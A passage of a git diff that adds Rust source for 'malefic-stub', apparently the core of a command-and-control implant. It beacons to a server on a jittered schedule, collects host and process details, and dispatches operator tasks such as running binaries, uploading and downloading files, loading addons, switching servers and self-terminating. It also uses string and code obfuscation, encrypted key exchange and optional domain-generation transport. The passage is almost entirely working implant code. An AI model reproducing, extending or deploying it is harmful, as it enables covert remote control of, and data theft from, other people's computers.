{ + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_Win11Beta as u16, + ) +} + +// #[no_mangle] +pub unsafe fn boyer_moore( + start_addr: *const u8, + size: usize, + pattern: &[u8], + search_len: usize, +) -> isize { + if pattern.is_empty() || size == 0 || size < search_len || pattern.len() < search_len { + return -1; + } + + let mut bad_char_skip = [search_len; 256]; + for i in 0..search_len - 1 { + bad_char_skip[pattern[i] as usize] = search_len - 1 - i; + } + + let start = unsafe { core::slice::from_raw_parts(start_addr, size) }; + + let mut i = 0; + while i <= size - search_len { + let mut j = (search_len - 1) as isize; + + while j >= 0 && pattern[j as usize] == start[i + j as usize] { + j -= 1; + } + + if j < 0 { + return i as _; + } + + let bad_char = start[i + j as usize]; + i += bad_char_skip[bad_char as usize].max(1); + } + + -1 +} diff --git a/malefic-crates/stub/Cargo.toml b/malefic-crates/stub/Cargo.toml new file mode 100644 index 0000000..1a8371c --- /dev/null +++ b/malefic-crates/stub/Cargo.toml @@ -0,0 +1,46 @@ +[package] +name = "malefic-stub" +version = "0.1.0" +edition = "2021" + +[features] +default = ["addon", "hot_load", "register_info", "transport_tcp"] + +addon = ["malefic-manager/addon"] +hot_load = ["malefic-manager/hot_load"] +register_info = ["malefic-common/register_info"] +secure = ["malefic-proto/secure", "malefic-crypto/secure", "malefic-config/secure"] +malefic-3rd = ["dep:malefic-3rd"] + +# Transport propagation +transport_tcp = ["malefic-transport/transport_tcp"] +transport_http = ["malefic-transport/transport_http"] +transport_rem = ["malefic-transport/transport_rem"] +bind = ["malefic-transport/bind"] +tls = ["malefic-transport/tls"] +tls_rustls = ["malefic-transport/tls_rustls"] +tls_native = ["malefic-transport/tls_native"] +mtls = ["malefic-transport/mtls"] +proxy = ["malefic-transport/proxy"] +dga = ["malefic-transport/dga"] + +[dependencies] +anyhow = { workspace = true } +hmac = { workspace = true } +sha2 = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } + +malefic-gateway = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-module = { workspace = true } +malefic-modules = { workspace = true } +malefic-cron = { workspace = true } +malefic-config = { workspace = true } +malefic-common = { workspace = true, default-features = false } +malefic-manager = { workspace = true, default-features = false } +malefic-scheduler = { workspace = true } +malefic-transport = { workspace = true, default-features = false } +malefic-sysinfo = { workspace = true } +malefic-3rd = { workspace = true, optional = true } diff --git a/malefic-crates/stub/src/channel.rs b/malefic-crates/stub/src/channel.rs new file mode 100644 index 0000000..f66d84d --- /dev/null +++ b/malefic-crates/stub/src/channel.rs @@ -0,0 +1,14 @@ +use futures::channel::mpsc::{UnboundedReceiver, UnboundedSender}; + +use malefic_module::MaleficModule; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Spites}; +use malefic_scheduler::TaskOperator; + +pub struct MaleficChannel { + pub data_sender: UnboundedSender, + pub request_sender: UnboundedSender, + pub response_receiver: UnboundedReceiver, + pub scheduler_task_sender: UnboundedSender<(bool, u32, Box, Body)>, + pub scheduler_task_ctrl: UnboundedSender<(u32, TaskOperator)>, +} diff --git a/malefic-crates/stub/src/composition.rs b/malefic-crates/stub/src/composition.rs new file mode 100644 index 0000000..4723c8a --- /dev/null +++ b/malefic-crates/stub/src/composition.rs @@ -0,0 +1,18 @@ +use malefic_common::errors::MaleficError; +use malefic_manager::manager::{MaleficManager, ModuleRegister}; + +pub fn register_builtin_bundles(manager: &mut MaleficManager) -> Result<(), MaleficError> { + manager.register_bundle( + "origin", + malefic_modules::register_modules as ModuleRegister, + ); + #[cfg(feature = "malefic-3rd")] + manager.register_bundle("3rd", malefic_3rd::register_3rd as ModuleRegister); + manager.refresh_module() +} + +pub fn default_manager() -> Result { + let mut manager = MaleficManager::new(); + register_builtin_bundles(&mut manager)?; + Ok(manager) +} diff --git a/malefic-crates/stub/src/lib.rs b/malefic-crates/stub/src/lib.rs new file mode 100644 index 0000000..9116282 --- /dev/null +++ b/malefic-crates/stub/src/lib.rs @@ -0,0 +1,5 @@ +pub mod channel; +pub mod composition; +pub mod meta; +pub mod stub; +pub mod sys; diff --git a/malefic-crates/stub/src/meta.rs b/malefic-crates/stub/src/meta.rs new file mode 100644 index 0000000..de437b9 --- /dev/null +++ b/malefic-crates/stub/src/meta.rs @@ -0,0 +1,270 @@ +use malefic_config::{CRON, JITTER}; +use malefic_cron::Cronner; +use malefic_gateway::obfstr::obfstr; + +pub struct MetaConfig { + uuid: [u8; 4], + pub scheduler: Cronner, // interval scheduler + #[cfg(feature = "secure")] + pub private_key: String, // private_key for implant,for decode server's data + #[cfg(feature = "secure")] + pub server_public_key: String, // public_key for server,encode data to server + #[cfg(feature = "secure")] + pending_private_key: Option, + #[cfg(feature = "secure")] + pending_server_public_key: Option, + #[cfg(feature = "secure")] + key_exchange_state: KeyExchangeState, + #[cfg(feature = "secure")] + seen_nonces: std::collections::VecDeque, +} + +#[cfg(feature = "secure")] +#[derive(PartialEq)] +enum KeyExchangeState { + Idle, + Pending, + ResponseSent, +} + +impl MetaConfig { + pub fn new(uuid: [u8; 4]) -> Self { + let scheduler = Cronner::new(&CRON, *JITTER).unwrap_or_else(|_| { + Cronner::new(&*obfstr!("*/5 * * * * * *").to_string(), *JITTER).unwrap() + }); + + MetaConfig { + uuid, + #[cfg(feature = "secure")] + private_key: malefic_config::AGE_PRIVATE_KEY.clone(), + #[cfg(feature = "secure")] + server_public_key: malefic_config::AGE_PUBLIC_KEY.clone(), + #[cfg(feature = "secure")] + pending_private_key: None, + #[cfg(feature = "secure")] + pending_server_public_key: None, + #[cfg(feature = "secure")] + key_exchange_state: KeyExchangeState::Idle, + #[cfg(feature = "secure")] + seen_nonces: std::collections::VecDeque::new(), + scheduler, + } + } + + pub fn set_id(&mut self, uuid: [u8; 4]) { + self.uuid = uuid; + } + + pub fn update_schedule(&mut self, expression: &str, jitter: f64) -> anyhow::Result<()> { + self.scheduler = Cronner::new(expression, jitter) + .map_err(|e| anyhow::anyhow!("Failed to create scheduler: {}", e))?; + Ok(()) + } + + pub fn new_heartbeat(&self) -> u64 { + self.scheduler.next_interval() + } + + pub fn get_uuid(&self) -> [u8; 4] { + self.uuid + } + + /// Get implant's private key for decrypting server data + pub fn get_decrypt_key(&self) -> Option<&str> { + #[cfg(feature = "secure")] + { + if self.private_key.is_empty() { + None + } else { + use malefic_common::debug; + debug!("get decrypt key: {}", self.private_key); + Some(&self.private_key) + } + } + #[cfg(not(feature = "secure"))] + { + None + } + } + + /// Get server's public key for encrypting data to server + pub fn get_encrypt_key(&self) -> Option<&str> { + #[cfg(feature = "secure")] + { + if self.server_public_key.is_empty() { + None + } else { + Some(&self.server_public_key) + } + } + #[cfg(not(feature = "secure"))] + { + None + } + } + + /// Derive implant public key from active private key + #[allow(dead_code)] + pub fn get_public_key(&self) -> Option { + #[cfg(feature = "secure")] + { + use malefic_common::debug; + use malefic_crypto::crypto::age::parse_age_identity; + + if self.private_key.is_empty() { + return None; + } + + match parse_age_identity(&self.private_key) { + Ok(identity) => Some(identity.to_public().to_string()), + Err(err) => { + debug!("failed to derive public key from private key: {}", err); + None + } + } + } + #[cfg(not(feature = "secure"))] + { + None + } + } + + /// Check if nonce was already seen; record it if new. + /// Returns `true` if accepted (new or empty), `false` if replayed. + #[cfg(feature = "secure")] + pub fn check_and_record_nonce(&mut self, nonce: &str) -> bool { + if nonce.is_empty() { + return true; // backward compat with old server + } + if self.seen_nonces.iter().any(|n| n == nonce) { + return false; // replay detected + } + if self.seen_nonces.len() >= 32 { + self.seen_nonces.pop_front(); + } + self.seen_nonces.push_back(nonce.to_string()); + true + } + + #[cfg(feature = "secure")] + pub fn cache_key_exchange(&mut self, private_key: String, server_public_key: Option) { + self.pending_private_key = Some(private_key); + self.pending_server_public_key = server_public_key.filter(|k| !k.is_empty()); + self.key_exchange_state = KeyExchangeState::Pending; + } + + #[cfg(feature = "secure")] + pub fn mark_key_exchange_response_sent(&mut self) { + if self.key_exchange_state == KeyExchangeState::Pending + && (self.pending_private_key.is_some() || self.pending_server_public_key.is_some()) + { + self.key_exchange_state = KeyExchangeState::ResponseSent; + } + } + + #[cfg(feature = "secure")] + pub fn commit_key_exchange_if_ready(&mut self) -> bool { + if self.key_exchange_state != KeyExchangeState::ResponseSent { + return false; + } + + let mut updated = false; + + if let Some(private_key) = self.pending_private_key.take() { + self.private_key = private_key; + updated = true; + } + + if let Some(server_public_key) = self.pending_server_public_key.take() { + self.server_public_key = server_public_key; + updated = true; + } + + self.key_exchange_state = KeyExchangeState::Idle; + updated + } +} + +#[cfg(all(test, feature = "secure"))] +mod tests { + use super::*; + + /// Replayed nonce must be rejected + #[test] + fn test_nonce_dedup_rejects_replay() { + let mut meta = MetaConfig::new([1, 1, 1, 1]); + assert!( + meta.check_and_record_nonce("nonce-1"), + "first use of nonce should be accepted" + ); + assert!( + !meta.check_and_record_nonce("nonce-1"), + "replayed nonce should be rejected" + ); + } + + /// Different nonces should all be accepted + #[test] + fn test_nonce_dedup_accepts_different() { + let mut meta = MetaConfig::new([2, 2, 2, 2]); + assert!(meta.check_and_record_nonce("a")); + assert!(meta.check_and_record_nonce("b")); + assert!(meta.check_and_record_nonce("c")); + } + + /// Empty nonce always accepted (backward compat with old servers) + #[test] + fn test_nonce_dedup_empty_skipped() { + let mut meta = MetaConfig::new([3, 3, 3, 3]); + assert!( + meta.check_and_record_nonce(""), + "empty nonce should always be accepted (backward compat)" + ); + assert!( + meta.check_and_record_nonce(""), + "empty nonce should always be accepted even when repeated" + ); + } + + /// After the window fills up, the oldest nonce is evicted and can be reused. + /// The window holds 32 entries. Inserting a 33rd evicts the oldest (n0). + #[test] + fn test_nonce_dedup_evicts_old() { + let mut meta = MetaConfig::new([4, 4, 4, 4]); + // Fill up the 32-element window with n0..n31 + for i in 0..32 { + assert!( + meta.check_and_record_nonce(&format!("n{}", i)), + "nonce n{} should be accepted on first use", + i + ); + } + + // All 32 slots occupied. n0 is still tracked (front of deque). + assert!( + !meta.check_and_record_nonce("n0"), + "n0 should still be tracked (deque is full but not yet evicted)" + ); + + // Insert a 33rd nonce to force eviction of the oldest (n1, since n0 + // was rejected above and not re-inserted). + // Actually n0 was rejected so deque still has [n0..n31]. Adding "extra" + // will pop n0 and push "extra". + assert!( + meta.check_and_record_nonce("extra"), + "new nonce 'extra' should be accepted, evicting n0" + ); + + // n0 was evicted, so it can be reused now + assert!( + meta.check_and_record_nonce("n0"), + "evicted nonce n0 should be accepted again" + ); + + // n31 is still in the window (recent), so it should be rejected + assert!( + !meta.check_and_record_nonce("n31"), + "recent nonce n31 should still be rejected" + ); + } +} diff --git a/malefic-crates/stub/src/stub.rs b/malefic-crates/stub/src/stub.rs new file mode 100644 index 0000000..04c76fe --- /dev/null +++ b/malefic-crates/stub/src/stub.rs @@ -0,0 +1,722 @@ +use anyhow::anyhow; +use futures::SinkExt; +use futures_timer::Delay; +use malefic_gateway::lazy_static; +use std::str::FromStr; +use std::time::Duration; + +use crate::channel::MaleficChannel; +use crate::composition::default_manager; +use crate::meta::MetaConfig; +use malefic_common::check_body; +use malefic_common::debug; +use malefic_common::errors::MaleficError; +use malefic_config as config; +use malefic_manager::internal::InternalModule; +use malefic_manager::manager::MaleficManager; +#[cfg(not(feature = "secure"))] +use malefic_proto::new_empty_spite; +use malefic_proto::proto::{ + implantpb, + implantpb::spite::Body, + implantpb::{Spite, Spites}, + modulepb, +}; +use malefic_proto::{new_error_spite, new_spite}; +use malefic_scheduler::TaskOperator; + +// ============================================================================ +// Common Helper Functions +// ============================================================================ + +/// Get Cryptor instance +/// +/// Create encryptor using configured key, IV is the reverse of the key +pub fn get_cryptor() -> malefic_crypto::crypto::Cryptor { + let key = config::get_transport_key(); + let iv: Vec = key.iter().rev().cloned().collect(); + malefic_crypto::crypto::new_cryptor(key, iv) +} + +/// Build Connection +/// +/// Build Connection instance using unified configuration +/// +/// # Parameters +/// +/// - `transport`: Underlying transport connection +/// - `session_id`: Session ID (4 bytes) +/// - `encrypt_key`: Optional encryption key (server's public key for age encryption) +/// - `decrypt_key`: Optional decryption key (implant's private key for age decryption) +pub fn build_connection( + transport: malefic_transport::InnerTransport, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, +) -> anyhow::Result { + malefic_transport::ConnectionBuilder::new(transport) + .with_cryptor(get_cryptor()) + .with_session_id(session_id) + .with_encrypt_key(encrypt_key) + .with_decrypt_key(decrypt_key) + .build() + .map_err(|e| anyhow::anyhow!("Failed to build connection: {:?}", e)) +} + +pub fn build_connection_for_server( + transport: malefic_transport::InnerTransport, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, + server_config: &config::ServerConfig, +) -> anyhow::Result { + let session_config = session_config_for_server(server_config); + malefic_transport::ConnectionBuilder::new(transport) + .with_cryptor(get_cryptor()) + .with_session_id(session_id) + .with_encrypt_key(encrypt_key) + .with_decrypt_key(decrypt_key) + .with_config(session_config) + .build() + .map_err(|e| anyhow::anyhow!("Failed to build connection: {:?}", e)) +} + +pub fn session_config_for_server( + server_config: &config::ServerConfig, +) -> malefic_transport::SessionConfig { + malefic_transport::SessionConfig { + read_chunk_size: server_config.session_config.read_chunk_size, + deadline: server_config.session_config.deadline, + } +} + +pub fn connect_timeout_for_server(server_config: &config::ServerConfig) -> Duration { + server_config.session_config.connect_timeout +} + +pub fn default_keepalive_for_server(server_config: &config::ServerConfig) -> bool { + server_config.session_config.keepalive +} + +const SPITE_DEBUG_DUMP_LIMIT: usize = 2048; +const SPITES_DEBUG_DUMP_LIMIT: usize = 1024; + +fn body_log_summary(body: &Body) -> String { + match body { + Body::Empty(_) => "Empty".to_string(), + Body::Ping(ping) => format!("Ping[nonce={}]", ping.nonce), + Body::Ack(ack) => format!( + "Ack[id={}, success={}, end={}]", + ack.id, ack.success, ack.end + ), + Body::Task(task) => format!("Task[task_id={}, op={}]", task.task_id, task.op), + Body::Common(common) => format!( + "Common[name={}, u32={}, u64={}, bool={}, string={}, bytes={}]", + common.name, + common.u32_array.len(), + common.u64_array.len(), + common.bool_array.len(), + common.string_array.len(), + common.bytes_array.len() + ), + Body::Register(register) => format!( + "Register[name={}, proxy={}, modules={}, addons={}, has_timer={}, has_sysinfo={}, secure={}]", + register.name, + register.proxy, + register.module.len(), + register.addons.len(), + register.timer.is_some(), + register.sysinfo.is_some(), + register.secure.as_ref().map(|secure| secure.enable).unwrap_or(false) + ), + Body::Init(init) => format!("Init[data_len={}]", init.data.len()), + Body::Request(req) => format!( + "Request[name={}, input_len={}, args={}, params={}, bin_len={}]", + req.name, + req.input.len(), + req.args.len(), + req.params.len(), + req.bin.len() + ), + Body::Response(resp) => format!( + "Response[output_len={}, error_len={}, kv={}, array={}]", + resp.output.len(), + resp.error.len(), + resp.kv.len(), + resp.array.len() + ), + Body::ExecuteBinary(exec) => format!( + "ExecuteBinary[name={}, type={}, process_name={}, args={}, param={}, bin_len={}, data_len={}, output={}]", + exec.name, + exec.r#type, + exec.process_name, + exec.args.len(), + exec.param.len(), + exec.bin.len(), + exec.data.len(), + exec.output + ), + Body::BinaryResponse(resp) => format!( + "BinaryResponse[status={}, data_len={}, message_len={}, err_len={}]", + resp.status, + resp.data.len(), + resp.message.len(), + resp.err.len() + ), + Body::ExecResponse(resp) => format!( + "ExecResponse[status_code={}, stdout_len={}, stderr_len={}, pid={}, end={}]", + resp.status_code, + resp.stdout.len(), + resp.stderr.len(), + resp.pid, + resp.end + ), + Body::UploadRequest(req) => format!( + "UploadRequest[name={}, target={}, data_len={}, hidden={}, override={}]", + req.name, + req.target, + req.data.len(), + req.hidden, + req.r#override + ), + Body::DownloadRequest(req) => format!( + "DownloadRequest[path={}, name={}, buffer_size={}, dir={}, cur={}]", + req.path, req.name, req.buffer_size, req.dir, req.cur + ), + Body::DownloadResponse(resp) => format!( + "DownloadResponse[checksum_len={}, size={}, cur={}, content_len={}]", + resp.checksum.len(), + resp.size, + resp.cur, + resp.content.len() + ), + Body::Block(block) => format!( + "Block[block_id={}, content_len={}, end={}]", + block.block_id, + block.content.len(), + block.end + ), + Body::KeyExchangeRequest(req) => format!( + "KeyExchangeRequest[public_key_len={}, signature_len={}, timestamp={}, nonce_len={}]", + req.public_key.len(), + req.signature.len(), + req.timestamp, + req.nonce.len() + ), + Body::KeyExchangeResponse(resp) => { + format!("KeyExchangeResponse[public_key_len={}]", resp.public_key.len()) + } + _ => "body=elided".to_string(), + } +} + +fn spite_log_summary(spite: &Spite) -> String { + let body_summary = spite + .body + .as_ref() + .map(body_log_summary) + .unwrap_or_else(|| "None".to_string()); + + format!( + "task_id={}, name={}, async={}, error={}, len={}, body={}", + spite.task_id, + spite.name, + spite.r#async, + spite.error, + malefic_proto::get_message_len(spite), + body_summary + ) +} + +fn spites_log_summary(spites: &Spites) -> String { + let preview_limit = 4usize; + let total = spites.spites.len(); + let mut parts = spites + .spites + .iter() + .take(preview_limit) + .map(spite_log_summary) + .collect::>(); + + if total > preview_limit { + parts.push(format!("... +{} more", total - preview_limit)); + } + + format!( + "count={}, len={}, [{}]", + total, + malefic_proto::get_message_len(spites), + parts.join(" | ") + ) +} + +#[doc(hidden)] +pub fn spite_log_output(spite: &Spite) -> String { + #[cfg(debug_assertions)] + if malefic_proto::get_message_len(spite) <= SPITE_DEBUG_DUMP_LIMIT { + return format!("{:#?}", spite); + } + spite_log_summary(spite) +} + +#[doc(hidden)] +pub fn spites_log_output(spites: &Spites) -> String { + #[cfg(debug_assertions)] + if malefic_proto::get_message_len(spites) <= SPITES_DEBUG_DUMP_LIMIT { + return format!("{:#?}", spites); + } + spites_log_summary(spites) +} + +// ============================================================================ +// Data Structures +// ============================================================================ + +lazy_static! { + pub static ref EMPTY_SPITES: Spites = Spites { + spites: vec![Spite::default()] + }; +} + +/// Pending switch operation to be consumed by the beacon layer +pub struct PendingSwitch { + pub action: i32, + pub targets: Vec, + pub key: Vec, +} + +pub struct MaleficStub { + pub manager: MaleficManager, + pub meta: MetaConfig, + pub channel: MaleficChannel, + default_keepalive_enabled: bool, + /// KeepAlive status flag (dynamically controlled by server) + pub keepalive_enabled: bool, + /// Pending switch operation, consumed by beacon after session loop exits + pub pending_switch: Option, +} + +#[malefic_gateway::obfuscate] +impl MaleficStub { + pub fn new(instance_id: [u8; 4], channel: MaleficChannel) -> Self { + if let Ok(manager) = default_manager() { + let default_keepalive_enabled = *config::KEEPALIVE; + MaleficStub { + manager, + meta: MetaConfig::new(instance_id), + channel, + default_keepalive_enabled, + keepalive_enabled: default_keepalive_enabled, + pending_switch: None, + } + } else { + panic!("origin modules refresh failed"); + } + } + + pub fn apply_server_defaults(&mut self, server_config: &config::ServerConfig) { + self.default_keepalive_enabled = default_keepalive_for_server(server_config); + self.keepalive_enabled = self.default_keepalive_enabled; + } + + pub fn reset_keepalive_state(&mut self) { + self.keepalive_enabled = self.default_keepalive_enabled; + } + + pub fn register_spite(&mut self) -> Spite { + let sysinfo = crate::sys::get_register_info(); + debug!("sysinfo: {:#?}", sysinfo); + + let secure = { + #[cfg(feature = "secure")] + { + // Always advertise secure capability when feature is enabled, + // even during cold start (empty keys). This tells the server + // to create a SecureManager and trigger key exchange. + let public_key = self.meta.get_public_key().unwrap_or_default(); + Some(modulepb::Secure { + enable: true, + key: String::new(), + r#type: "age".to_string(), + public_key, + }) + } + #[cfg(not(feature = "secure"))] + { + None + } + }; + debug!("internal modules: {:?}", InternalModule::all()); + new_spite( + 0, + "register".to_string(), + Body::Register(modulepb::Register { + name: config::NAME.to_string(), + proxy: config::PROXY_URL.to_string(), + module: self.manager.list_module(InternalModule::all()).0, + #[cfg(feature = "addon")] + addons: self.manager.list_addon(), + #[cfg(not(feature = "addon"))] + addons: Vec::new(), + sysinfo, + timer: Some(modulepb::Timer { + expression: config::CRON.to_string(), // Cron expression controls scheduling + jitter: config::JITTER.clone() as f64, + }), + secure, + }), + ) + } + + pub async fn push(&mut self, spite: Spite) -> anyhow::Result<()> { + self.channel.data_sender.send(spite).await?; + Ok(()) + } + + pub async fn handler(&mut self, spites: Spites) -> anyhow::Result<()> { + for spite in spites.spites { + #[cfg(debug_assertions)] + { + debug!("Received {}", spite_log_output(&spite)); + } + match self.handler_spite(spite.clone()).await { + Ok(_) => { + debug!("{}:{} sender succ", spite.task_id, spite.name) + } + Err(e) => { + debug!("handler encountered an error: {:#?}", e); + let error_id = if let Some(malefic_error) = e.downcast_ref::() { + malefic_error.id() + } else { + 999 + }; + self.push(new_error_spite(spite.task_id, spite.name, error_id)) + .await? + } + } + } + Ok(()) + } + + pub async fn handler_spite(&mut self, req: Spite) -> anyhow::Result<()> { + // Init is special: needs to set meta.id and uses stub-specific register info. + if req.name == "init" { + let init = check_body!(req, Body::Init)?; + let id: [u8; 4] = init + .data + .try_into() + .map_err(|_| anyhow!("Expected a Vec of length 4"))?; + self.meta.set_id(id); + let spite = self.register_spite(); + self.push(spite).await?; + return Ok(()); + } + + // Try dispatch via manager (handles ping, list_module, refresh, load_module, clear). + let internal_result = self.manager.dispatch_internal(&req, None); + match internal_result { + Ok(Some(spite)) => { + self.push(spite).await?; + return Ok(()); + } + Ok(None) => {} // Not internal — fall through to external module or beacon-only + Err(MaleficError::BeaconOnly(_)) => {} // Beacon-only — handle below + Err(e) => return Err(e.into()), + } + + // Beacon-only internal modules. + match InternalModule::from_str(req.name.as_str()) { + #[cfg(feature = "addon")] + Ok(InternalModule::LoadAddon) => { + self.manager.load_addon(req.clone())?; + self.push(new_spite( + req.task_id, + InternalModule::LoadAddon.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + } + #[cfg(feature = "addon")] + Ok(InternalModule::ListAddon) => { + self.push(new_spite( + req.task_id, + InternalModule::ListAddon.to_string(), + Body::Addons(modulepb::Addons { + addons: self.manager.list_addon(), + }), + )) + .await?; + } + #[cfg(feature = "addon")] + Ok(InternalModule::ExecuteAddon) => { + let result = self.manager.execute_addon(req)?; + let module = self + .manager + .get_module(&result.name) + .ok_or_else(|| anyhow!(MaleficError::ModuleNotFound))?; + let body = result.body.ok_or_else(|| anyhow!(MaleficError::MissBody))?; + self.channel + .scheduler_task_sender + .send((result.r#async, result.task_id, module.new_instance(), body)) + .await?; + } + #[cfg(feature = "addon")] + Ok(InternalModule::RefreshAddon) => { + self.manager.refresh_addon()?; + self.push(new_spite( + req.task_id, + InternalModule::RefreshAddon.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + } + Ok(InternalModule::CancelTask) => { + if let Some(Body::Task(task)) = req.body { + self.channel + .scheduler_task_ctrl + .send((req.task_id, TaskOperator::CancelTask(task.task_id))) + .await?; + } + } + Ok(InternalModule::QueryTask) => { + if let Some(Body::Task(task)) = req.body { + self.channel + .scheduler_task_ctrl + .send((req.task_id, TaskOperator::QueryTask(task.task_id))) + .await?; + } + } + Ok(InternalModule::ListTask) => { + self.channel + .scheduler_task_ctrl + .send((req.task_id, TaskOperator::ListTask)) + .await?; + } + Ok(InternalModule::Sleep) => { + let sleep = check_body!(req, Body::SleepRequest)?; + self.meta + .update_schedule(&*sleep.expression, sleep.jitter)?; + self.push(new_spite( + req.task_id, + InternalModule::Sleep.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + } + Ok(InternalModule::Suicide) => { + self.push(new_spite( + req.task_id, + InternalModule::Suicide.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + Delay::new(Duration::from_secs(10)).await; + std::process::exit(0); + } + Ok(InternalModule::Switch) => { + let switch = check_body!(req, Body::Switch)?; + self.pending_switch = Some(PendingSwitch { + action: switch.action, + targets: switch.targets, + key: switch.key, + }); + self.push(new_spite( + req.task_id, + InternalModule::Switch.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await? + } + Ok(InternalModule::KeyExchange) => { + let key_request = check_body!(req, Body::KeyExchangeRequest)?; + let key_resp = self.handle_key_exchange(req.task_id, key_request).await?; + self.push(key_resp).await?; + } + Ok(InternalModule::KeepAlive) => { + let enable = if let Some(Body::Common(common)) = &req.body { + common.bool_array.get(0).copied().unwrap_or(false) + } else { + false + }; + debug!("[keepalive] Received keepalive request: enable={}", enable); + self.keepalive_enabled = enable; + self.push(new_spite( + req.task_id, + InternalModule::KeepAlive.to_string(), + Body::Common(modulepb::CommonBody { + bool_array: vec![enable], + ..Default::default() + }), + )) + .await?; + } + // Already handled by dispatch_internal or not an internal module. + _ => { + debug!("Dispatch {}", spite_log_output(&req)); + let body = req.body.ok_or_else(|| anyhow!(MaleficError::MissBody))?; + let module = self + .manager + .get_module(&req.name) + .ok_or_else(|| anyhow!(MaleficError::ModuleNotFound))?; + self.channel + .scheduler_task_sender + .send((req.r#async, req.task_id, module.new_instance(), body)) + .await?; + } + }; + Ok(()) + } + + async fn handle_key_exchange( + &mut self, + task_id: u32, + _key_request: modulepb::KeyExchangeRequest, + ) -> anyhow::Result { + #[cfg(feature = "secure")] + { + // Validate timestamp (skip if 0 for backward compat with old server) + if _key_request.timestamp > 0 { + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + if now.abs_diff(_key_request.timestamp) > 120 { + return Err(anyhow!( + "key exchange request expired (timestamp drift > 120s)" + )); + } + } + + // Reject replayed nonces + if !self.meta.check_and_record_nonce(&_key_request.nonce) { + return Err(anyhow!("replayed key exchange nonce")); + } + + // Verify HMAC signature if present (empty = old server, skip) + if !_key_request.signature.is_empty() { + use hmac::{Hmac, Mac}; + use sha2::Sha256; + type HmacSha256 = Hmac; + + let transport_key = config::get_transport_key(); + let mut mac = HmacSha256::new_from_slice(&transport_key) + .map_err(|e| anyhow!("HMAC init failed: {}", e))?; + mac.update(_key_request.public_key.as_bytes()); + mac.update(_key_request.timestamp.to_string().as_bytes()); + mac.update(_key_request.nonce.as_bytes()); + mac.verify_slice(&_key_request.signature) + .map_err(|_| anyhow!("key exchange HMAC signature verification failed"))?; + } + + let (private_key, public_key) = malefic_proto::generate_age_keypair(); + let next_server_public_key = if _key_request.public_key.is_empty() { + None + } else { + Some(_key_request.public_key) + }; + + // Cache pending keys first. Keep active keys until response is sent successfully. + self.meta + .cache_key_exchange(private_key, next_server_public_key); + Ok(new_spite( + task_id, + "key_exchange".to_string(), + Body::KeyExchangeResponse(modulepb::KeyExchangeResponse { public_key }), + )) + } + #[cfg(not(feature = "secure"))] + { + Ok(new_empty_spite(task_id, "key_ack".to_string())) + } + } + + // ======================================================================== + // Common interaction logic (shared by Bind and Beacon) + // ======================================================================== + + /// Prepare Spites to send + /// + /// Get data to send from channel + pub async fn prepare_spites(&mut self) -> anyhow::Result { + // Request data + self.channel.request_sender.send(true).await?; + + // Get data + let spites = if let Some(data) = + futures::StreamExt::next(&mut self.channel.response_receiver).await + { + data + } else { + Spites { spites: vec![] } + }; + + #[cfg(debug_assertions)] + { + if !spites.spites.is_empty() { + debug!("Sending {}", spites_log_output(&spites)); + } + } + + Ok(spites) + } + + /// Prepare request data (send data if available, otherwise send ping) + pub async fn prepare_request(&mut self) -> anyhow::Result { + // Try to get data to send + let spites = self.prepare_spites().await?; + + // If no data, send ping + if spites.spites.is_empty() { + Ok(Self::create_ping()) + } else { + Ok(spites) + } + } + + /// Create ping message + pub fn create_ping() -> Spites { + let ping_spite = new_spite( + 0, + "ping".to_string(), + Body::Ping(modulepb::Ping { + nonce: std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs() as i32, + }), + ); + Spites { + spites: vec![ping_spite], + } + } + + pub fn contains_key_exchange_response(spites: &Spites) -> bool { + spites + .spites + .iter() + .any(|spite| matches!(spite.body.as_ref(), Some(Body::KeyExchangeResponse(_)))) + } + + #[cfg(feature = "secure")] + pub fn should_reconnect_after_key_exchange(&mut self) -> bool { + if self.meta.commit_key_exchange_if_ready() { + debug!("[secure] key exchange committed, reconnecting with new keys"); + return true; + } + false + } + + #[cfg(not(feature = "secure"))] + #[allow(dead_code)] + pub fn should_reconnect_after_key_exchange(&mut self) -> bool { + false + } + + pub fn should_reconnect_for_switch(&self) -> bool { + self.pending_switch.is_some() + } + + pub fn take_pending_switch(&mut self) -> Option { + self.pending_switch.take() + } +} diff --git a/malefic-crates/stub/src/sys.rs b/malefic-crates/stub/src/sys.rs new file mode 100644 index 0000000..74668cf --- /dev/null +++ b/malefic-crates/stub/src/sys.rs @@ -0,0 +1,73 @@ +use malefic_proto::proto::modulepb::{Os, Process, SysInfo}; + +pub fn get_register_info() -> Option { + #[cfg(feature = "register_info")] + return get_sysinfo(); + + #[cfg(not(feature = "register_info"))] + return none_sysinfo(); +} + +#[cfg(feature = "register_info")] +fn get_sysinfo() -> Option { + let info = malefic_sysinfo::get_sysinfo(); + let os = info.os?; + let process = info.process?; + Some(SysInfo { + filepath: info.filepath, + workdir: info.workdir, + is_privilege: info.is_privilege, + os: Some(Os { + name: os.name, + version: os.version, + release: os.release, + arch: os.arch, + username: os.username, + hostname: os.hostname, + locale: os.locale, + clr_version: os.clr_version, + }), + process: Some(Process { + name: process.name, + pid: process.pid, + ppid: process.ppid, + arch: process.arch, + owner: process.owner, + path: process.path, + args: process.args, + uid: "".to_string(), + }), + }) +} + +#[cfg(not(feature = "register_info"))] +fn none_sysinfo() -> Option { + const OS_NAME: &str = std::env::consts::OS; + const OS_ARCH: &str = std::env::consts::ARCH; + + Some(SysInfo { + filepath: "".to_string(), + workdir: "".to_string(), + is_privilege: false, + os: Some(Os { + name: OS_NAME.to_string(), + version: "".to_string(), + release: "".to_string(), + arch: 